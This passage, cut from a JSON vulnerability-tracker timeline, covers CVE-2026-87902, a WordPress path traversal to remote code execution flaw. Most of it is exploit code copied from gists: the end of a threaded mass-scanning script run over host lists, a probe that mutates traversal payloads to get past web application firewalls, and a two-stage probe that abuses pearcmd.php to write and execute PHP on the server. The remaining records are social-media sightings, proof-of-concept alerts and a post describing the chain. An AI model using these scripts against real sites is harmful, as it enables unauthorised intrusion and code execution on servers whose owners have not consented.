= load_done(args.tested)\n    pending = []\n    with open(args.hosts, \"r\", errors=\"replace\") as fh:\n        for line in fh:\n            host = line.strip()\n            if host and host not in done:\n                pending.append(host)\n            if args.max and len(pending) >= args.max:\n                break\n    print(\"[hunter] hosts=%s already_tested=%d pending=%d verify=%s\"\n          % (args.hosts, len(done), len(pending), args.verify), flush=True)\n    if not pending:\n        print(\"[hunter] nothing pending\", flush=True)\n        return 0\n\n    hits_fh = open(args.hits, \"a\")\n    tested_fh = open(args.tested, \"a\")\n    t0 = time.time()\n    n = 0\n    hit_n = 0\n\n    def consume(result):\n        nonlocal n, hit_n\n        n += 1\n        tested_fh.write(result[\"target\"] + \"\\n\")\n        if interesting(result):\n            hit_n += 1\n            hits_fh.write(json.dumps(result, ensure_ascii=False) + \"\\n\")\n            hits_fh.flush()\n        if n % 200 == 0:\n            tested_fh.flush()\n            rate = n / max(1.0, time.time() - t0)\n            print(\"[hunter] %d/%d hits=%d %.1f/s last=%s %s\"\n                  % (n, len(pending), hit_n, rate, result[\"target\"], result[\"verdict\"]),\n                  flush=True)\n\n    import concurrent.futures as futures\n    with futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n        # submit in batches so a crash loses at most one batch of in-flight work\n        for i in range(0, len(pending), args.batch):\n            chunk = pending[i:i + args.batch]\n            futs = [ex.submit(wp87902.check, h, verify=args.verify, timeout=args.timeout)\n                   for h in chunk]\n            for fut in futures.as_completed(futs):\n                try:\n                    consume(fut.result())\n                except Exception as exc:\n                    print(\"[hunter] worker error: %s\" % exc, flush=True)\n    tested_fh.flush()\n    hits_fh.close()\n    tested_fh.close()\n    print(\"[hunter] done tested=%d hits=%d elapsed=%.0fs\" % (n, hit_n, time.time() - t0),\n          flush=True)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "url": "https://gist.github.com/giaoimgiao/1d0ed1adba5b9ca37dc4f48ba7fb5276"}, {"timestamp": "2026-09-28T08:19:45Z", "date_only": false, "value": "2026-09-28T08:19:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/giaoimgiao/e763a0e2249f76f2f2e3699efd09633a", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "556466d2-0cd6-4b40-acc5-38e15e80e5ce", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"WAF bypass probe for CVE-2026-87902.\n\nA WAF that blocks the plain `../` traversal is not the end of the chain. This\nprobe mutates the same payload the detector already sends and looks for a\nresponse that stops looking like the vendor's block page. Each mutation is a\ncandidate from the bypass notes: keyword split, charset tricks, alternate\nencodings, and smaller request surface.\n\nThe output deliberately prints lengths and first bytes so a human can tell\n\"edge answered 403 again\" from \"we reached PHP\".\n\"\"\"\n\nimport itertools\nimport json\nimport ssl\nimport sys\nimport http.client\n\nUA = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\"\n\n\ndef request(host, method, path, body=None, timeout=12.0):\n    ctx = ssl._create_unverified_context()\n    conn = http.client.HTTPSConnection(host, 443, timeout=timeout, context=ctx)\n    headers = {\n        \"User-Agent\": UA,\n        \"Accept\": \"*/*\",\n        \"Connection\": \"close\",\n    }\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    data = resp.read().decode(\"utf-8\", \"replace\")\n    code = resp.status\n    conn.close()\n    return code, data\n\n\ndef enc(path):\n    return path.replace(\"/\", \"%2F\").replace(\".\", \"%2E\").replace(\"%\", \"%25\")\n\n\ndef variants(page_id):\n    \"\"\"Yield (name, body) for the same traversal goal.\"\"\"\n    # canonical traversal reaching /index.php from page-templates/\n    plain = \"templates/\" + \"../\" * 7 + \"index\"\n    variants = [\n        (\"plain\", plain),\n        # 2.1 keyword split: break the literal \"../\" WAF looks for\n        (\"split_dot\", \"templates/\" + \"../\" * 7 + \"index\" + \".\" + \"php\"),\n        # mixed encoding depth so a single decode leaves non-canonical bytes\n        (\"tri_encode\", plain.replace(\"%\", \"%2525\") if \"%\" in plain else plain),\n        # semicolon path param and query smuggling sometimes bypass URL rules\n        (\"semicolon\", plain.replace(\"../\", \"..;/\")),\n        # null byte / unicode tricks when the WAF parses before PHP\n        (\"null_byte\", plain.replace(\"index\", \"index%00\")),\n        (\"case_mix\", plain.replace(\"templates\", \"TeMpLaTeS\")),\n        # alternate depth: WAF may be anchored on exactly seven segments\n        (\"depth_6\", \"templates/\" + \"../\" * 6 + \"index\"),\n        (\"depth_8\", \"templates/\" + \"../\" * 8 + \"index\"),\n        # keep payload small: oracle file instead of the longest path\n        (\"small\", \"templates/\" + \"../\" * 7 + \"readme.html\"),\n    ]\n    seen = set()\n    for name, raw in variants:\n        body = \"page_id=%d&pagename=%s\" % (page_id, enc(raw))\n        if body in seen:\n            continue\n        seen.add(body)\n        yield name, body\n\n\ndef looks_blocked(status, body):\n    low = body.lower()\n    if status not in (403, 406, 429, 503):\n        return False, \"\"\n    for mk in (\"cloudflare\", \"attention required\", \"cf-ray\", \"ray id\",\n               \"akamai\", \"sucuri\", \"incapsula\", \"wordfence\"):\n        if mk in low:\n            return True, mk\n    return False, \"\"\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) > 1 else None\n    if not host:\n        print(\"usage: waf_bypass_probe.py \")\n        return 2\n    base = host.replace(\"https://\", \"\").replace(\"http://\", \"\").strip(\"/\")\n\n    # find a page id the same way the detector does\n    code, body = request(base, \"GET\",\n                         \"/wp-json/wp/v2/pages?per_page=100&_fields=id,slug,template\")\n    page_id = None\n    if code == 200:\n        try:\n            pages = json.loads(body)\n            for p in pages:\n                if not p.get(\"template\"):\n                    page_id = p.get(\"id\")\n                    break\n            page_id = page_id or (pages[0].get(\"id\") if pages else None)\n        except ValueError:\n            pass\n    if not page_id:\n        # fall back to index route\n        code, body = request(base, \"GET\",\n                             \"/index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template\")\n        if code == 200:\n            try:\n                pages = json.loads(body)\n                page_id = pages[0].get(\"id\") if pages else None\n            except ValueError:\n                pass\n    print(\"host=%s page_id=%s\" % (base, page_id))\n    if not page_id:\n        print(\"no page id, abort\")\n        return 1\n\n    bcode, bbody = request(base, \"POST\", \"/\", body=\"page_id=%d\" % page_id)\n    print(\"baseline status=%s len=%d\" % (bcode, len(bbody)))\n\n    results = []\n    for name, body in variants(page_id):\n        code, text = request(base, \"POST\", \"/\", body=body)\n        blocked, vendor = looks_blocked(code, text)\n        diff = abs(len(text) - len(bbody))\n        sig = []\n        if \"open_basedir restriction\" in text.lower():\n            sig.append(\"open_basedir\")\n        if \"not within the allowed path\" in text.lower():\n            sig.append(\"not_within\")\n        if \"../\" in text:\n            sig.append(\"traversal_echo\")\n        if code != bcode:\n            sig.append(\"status_%s\" % code)\n        row = {\n            \"name\": name, \"status\": code, \"len\": len(text),\n            \"blocked\": blocked, \"vendor\": vendor, \"diff\": diff,\n            \"signals\": sig, \"head\": text[:120].replace(\"\\n\", \" \"),\n        }\n        results.append(row)\n        print(json.dumps(row, ensure_ascii=False))\n        if sig and not blocked:\n            print(\">>> candidate bypass:\", name)\n            break\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "url": "https://gist.github.com/giaoimgiao/e763a0e2249f76f2f2e3699efd09633a"}, {"timestamp": "2026-09-28T08:28:02Z", "date_only": false, "value": "2026-09-28T08:28:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/giaoimgiao/27b5db8bd57c3ae1736ba565a1f9c6c8", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "37026865-d89b-4096-9f1d-8188343dfc89", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Stage-2 RCE probe for CVE-2026-87902.\n\nThe stage-1 LFI evidence proves the traversal reaches locate_template().\nThe PEAR chain turns that into code execution when:\n  * /usr/local/lib/php/pearcmd.php is readable\n  * register_argc_argv=On for the web SAPI\n  * the output directory is inside open_basedir (usually /tmp)\n\nThis probe sends the two anonymous POSTs documented in the advisory:\n  1. include pearcmd.php with config-create to write a PHP file to /tmp\n  2. include that file, which prints a marker proving execution\n\nIt does NOT write a webshell; it only proves the chain works.\n\"\"\"\n\nimport argparse\nimport json\nimport sys\n\nimport wp87902 as w\n\nMARKER = \"WP87902-RCE-OK\"\nPEAR = \"/usr/local/lib/php/pearcmd\"\nOUT = \"/tmp/wp87902-rce\"\nREAD = \"/flag\"\n\n\ndef chr_encode(s):\n    return \".\".join(\"chr(%d)\" % ord(c) for c in s)\n\n\ndef run_probe(base, page_id, theme_dir, depth, include, out_file, read_file):\n    include_path = w.candidate(theme_dir, depth, include)\n    output_path = w.candidate(theme_dir, depth, out_file)\n    payload = \"\" % chr_encode(read_file)\n\n    stage1_target = \"/?+config-create+/\" + payload + \"+\" + out_file + \".php\"\n    stage1_body = \"page_id=%d&pagename=%s\" % (page_id, w.double_encode(include_path))\n    s1, _, t1 = w.request(\"POST\", base, stage1_target, body=stage1_body, timeout=15)\n\n    stage2_body = \"page_id=%d&pagename=%s\" % (page_id, w.double_encode(output_path))\n    s2, _, t2 = w.request(\"POST\", base, \"/\", body=stage2_body, timeout=15)\n\n    hit = MARKER in t2\n    return {\n        \"depth\": depth,\n        \"stage1_status\": s1,\n        \"stage2_status\": s2,\n        \"stage1_len\": len(t1),\n        \"stage2_len\": len(t2),\n        \"marker_found\": hit,\n        \"stage1_head\": t1[:120].replace(\"\\n\", \" \"),\n        \"stage2_head\": t2[:120].replace(\"\\n\", \" \"),\n    }\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"host\")\n    ap.add_argument(\"--depth\", type=int, default=7)\n    ap.add_argument(\"--include\", default=PEAR)\n    ap.add_argument(\"--output\", default=OUT)\n    ap.add_argument(\"--read\", default=READ)\n    args = ap.parse_args()\n\n    raw = args.host.strip()\n    base = raw if raw.startswith((\"http://\", \"https://\")) else \"https://\" + raw\n    base = base.rstrip(\"/\")\n\n    pid, slug, route, count = w.find_page(base, 15, True)\n    if not pid:\n        print(\"no published page\")\n        return 1\n    theme, gen, names = w.detect_theme(base, 15, True)\n    theme_dirs = [\"page-templates\"]\n    if theme:\n        guess = theme if theme.startswith(\"page-\") else \"page-\" + theme\n        theme_dirs.insert(0, guess)\n    print(\"base=%s page_id=%s theme=%s theme_dirs=%s\" % (base, pid, theme, theme_dirs))\n\n    # first confirm the LFI primitive still exists with the same oracle file\n    for td in theme_dirs:\n        for depth in (args.depth, args.depth - 1, args.depth + 1):\n            cand = w.candidate(td, depth, \"index.php\")\n            body = \"page_id=%d&pagename=%s\" % (pid, w.double_encode(cand))\n            s, _, t = w.request(\"POST\", base, \"/\", body=body, timeout=15)\n            if \"open_basedir restriction\" not in t.lower():\n                continue\n            print(\"[+] LFI confirmed td=%s depth=%d status=%s len=%d\" % (td, depth, s, len(t)))\n            result = run_probe(base, pid, td, depth, args.include, args.output, args.read)\n            print(json.dumps(result, ensure_ascii=False, indent=2))\n            if result[\"marker_found\"]:\n                print(\"[+] RCE CONFIRMED marker=%s\" % MARKER)\n                return 0\n    print(\"[-] no RCE evidence\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "url": "https://gist.github.com/giaoimgiao/27b5db8bd57c3ae1736ba565a1f9c6c8"}, {"timestamp": "2026-09-28T09:00:04Z", "date_only": false, "value": "2026-09-28T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/yXVzrAnyMVzUsfnjfkALrfBcKxKGxOpo3xtfae2jh7WYEoo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "2e27d692-00f4-4dfe-babd-4fa134f6e10a"}, {"timestamp": "2026-09-28T09:00:04Z", "date_only": false, "value": "2026-09-28T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/yXVzrAnyMVzUsfnjfkALrfBcKxKGxOpo3xtfae2jh7WYEoo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5075aa7d-a2f5-432a-adb9-2062decad870"}, {"timestamp": "2026-09-28T10:50:28.199Z", "date_only": false, "value": "2026-09-28T10:50:28.199492Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/devbytedaily.bsky.social/post/3mwl5erbbwm23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "da226cc0-bb28-47b9-9995-40720bbb688f", "content": "WordPress 7.1 Update Problems CVE-2026-87902 Explained - https://devbytedaily.com/wordpress-7-1-update-problems/", "url": "https://bsky.app/profile/devbytedaily.bsky.social/post/3mwl5erbbwm23"}, {"timestamp": "2026-09-28T11:17:31.487Z", "date_only": false, "value": "2026-09-28T11:17:31.487278Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3mwl6v3egwk2s", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9d36cebb-8fb5-45f3-9836-e22d1af5d898", "content": "\ud83d\udea8 In this week\u2019s #threatalert, we cover #CVE-2026-87902, a critical WordPress path traversal vulnerability that can lead to #RCE. CrowdSec has observed 30,813 unique IP addresses sending requests matching the exploitation pattern in just five days.\n\nRead more: www.crowdsec.net/vulntracking...", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3mwl6v3egwk2s"}, {"timestamp": "2026-09-28T12:20:54.040Z", "date_only": false, "value": "2026-09-28T12:20:54.040", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-87902", "record": "FKIE_CVE-2026-87902", "field": "lastModified"}, {"timestamp": "2026-09-28T13:21:31.050Z", "date_only": false, "value": "2026-09-28T13:21:31.050570Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwlfsuxcpf2i", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "788c03db-bdbe-4b43-974c-4881ff0086f3", "content": "Attackers exploited CVE-2026-87902 within hours of a WordPress fix to achieve unauthenticated server-side code execution under specific theme and file conditions.\n", "url": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwlfsuxcpf2i"}, {"timestamp": "2026-09-28T13:21:35.698Z", "date_only": false, "value": "2026-09-28T13:21:35.698764Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/privpros.bsky.social/post/3mwlfszh5zd24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6cfd3eea-61bd-48df-b2e7-d244a2457981", "content": "Attackers exploited CVE-2026-87902 within hours of a WordPress fix to achieve unauthenticated server-side code execution under specific theme and file conditions.\n", "url": "https://bsky.app/profile/privpros.bsky.social/post/3mwlfszh5zd24"}, {"timestamp": "2026-09-28T13:28:04.575Z", "date_only": false, "value": "2026-09-28T13:28:04.575815Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/javascriptbriefly.bsky.social/post/3mwlg6m3tck22", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1661c27e-7963-4a33-ab2e-0f1fb18b505a", "content": "Attackers exploited CVE-2026-87902 within hours of a WordPress fix to achieve unauthenticated server-side code execution under specific theme and file conditions.\n", "url": "https://bsky.app/profile/javascriptbriefly.bsky.social/post/3mwlg6m3tck22"}, {"timestamp": "2026-09-28T18:00:06Z", "date_only": false, "value": "2026-09-28T18:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103688", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e2f3f78d-8264-406b-8411-76c351b4a91a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HackfutSecRoot\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-28 17:23:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2014 WordPress Core LFI \u2192 RCE by Hackfut\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103688"}, {"timestamp": "2026-09-28T18:00:06Z", "date_only": false, "value": "2026-09-28T18:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103688", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "41eb14a1-e3ba-4325-8365-1d2a350d22cf", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HackfutSecRoot\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-28 17:23:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2014 WordPress Core LFI \u2192 RCE by Hackfut\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103688"}, {"timestamp": "2026-09-28T22:00:08Z", "date_only": false, "value": "2026-09-28T22:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103701", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "aebde6e9-d786-43cf-8e58-2eccbea03bc1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-28 21:21:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2014 WordPress Core LFI \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103701"}, {"timestamp": "2026-09-28T22:00:08Z", "date_only": false, "value": "2026-09-28T22:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103701", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "71364e4a-8177-4077-97f5-3688708a166c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-28 21:21:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2014 WordPress Core LFI \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103701"}, {"timestamp": "2026-09-29T03:00:06Z", "date_only": false, "value": "2026-09-29T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/1uJwokYASOhFEvXumwZlyb9njx9S5iDKk59JgSK2ay9CKvc", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "2db12dfa-1714-4629-9934-4bbc3aaacdd6"}, {"timestamp": "2026-09-29T03:00:06Z", "date_only": false, "value": "2026-09-29T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/1uJwokYASOhFEvXumwZlyb9njx9S5iDKk59JgSK2ay9CKvc", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "092653c4-d337-4c22-98d7-2c304d232e37"}, {"timestamp": "2026-09-29T03:07:08.401Z", "date_only": false, "value": "2026-09-29T03:07:08.401864Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mwmtx63s2o23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "2e21dcfa-2393-45c6-876f-02d1595bcb35", "content": "\ud83d\udccc CVE-2026-87902 - An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active the... https://www.cyberhub.blog/cves/CVE-2026-87902", "url": "https://bsky.app/profile/cyberhub.blog/post/3mwmtx63s2o23"}, {"timestamp": "2026-09-29T07:28:07.819Z", "date_only": false, "value": "2026-09-29T07:28:07.819186Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwncjvfjuk2v", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "649c0fa5-b086-4f4f-a300-04438a1fa366", "content": "Top 3 CVE for last 7 days:\nCVE-2026-88771: 73 interactions\nCVE-2026-88772: 61 interactions\nCVE-2026-87902: 44 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-88771: 20 interactions\nCVE-2026-88772: 13 interactions\nCVE-2026-82384: 6 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwncjvfjuk2v"}, {"timestamp": "2026-09-29T09:00:28.803Z", "date_only": false, "value": "2026-09-29T09:00:28.803Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-87902", "record": "BIT-WORDPRESS-2026-87902", "field": "published"}, {"timestamp": "2026-09-29T13:00:12.244Z", "date_only": false, "value": "2026-09-29T13:00:12.244802Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mwnv3klqkz27", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4b94d8d9-26dd-49e6-8118-e18e00a9b8d2", "content": "\ud83d\udce2 [VULN] WordPress corrige une vuln\u00e9rabilit\u00e9 critique - CVE-2026-87902\n\nPlusieurs versions de WordPress sont affect\u00e9es par une faille critique pouvant conduire \u00e0 l'ex\u00e9cution de code \u00e0 distance. Les administrateurs disposent d\u00e9sormais d'une mise \u00e0 jour corrective.\n\n#Vuln\u00e9rabilit\u00e9 #CVE #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mwnv3klqkz27"}, {"timestamp": "2026-09-29T16:54:53Z", "date_only": false, "value": "2026-09-29T16:54:53.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/critical_bug/1839", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5f2f7a17-f48b-4dd4-9e3d-ade037e49edd", "content": "\ud83d\udccdWordPress \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044e\u0442 \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430: \u0441\u0432\u0435\u0436\u0430\u044f CVE-2026-87902 \u0443\u0436\u0435 \u0434\u043e\u0431\u0440\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043f\u0440\u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c PHP-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0420\u0435\u0447\u044c \u043e CVE-2026-87902 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9,2 \u0438\u0437 10 \u043f\u043e CVSS 4.0. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0435\u0440\u0441\u0438\u0438 WordPress \u043e\u0442 4.7.0 \u0434\u043e 7.1.1 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0442\u043a\u0438 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435, \u0430 \u0432 \u0441\u0430\u043c\u043e\u043c WordPress Core \u2014 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0432\u044b\u0431\u043e\u0440\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0414\u0432\u0430\u0436\u0434\u044b \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043f\u0443\u0442\u0438 \u043f\u0435\u0440\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u0440\u0430\u043d\u043d\u044e\u044e \u043e\u0447\u0438\u0441\u0442\u043a\u0443, \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0437\u0434\u043d\u0438\u0439 urldecode() \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0438\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 ../, \u0438 \u0434\u0432\u0438\u0436\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0442\u0435\u043c\u044b.\n\n\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435: \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 pearcmd.php, \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c register_argc_argv \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 LFI \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RCE. \u0423\u0447\u0451\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c, cookie, nonce, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0438 \u043a\u043b\u0438\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u0442\u0435\u043e\u0440\u0438\u044f. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 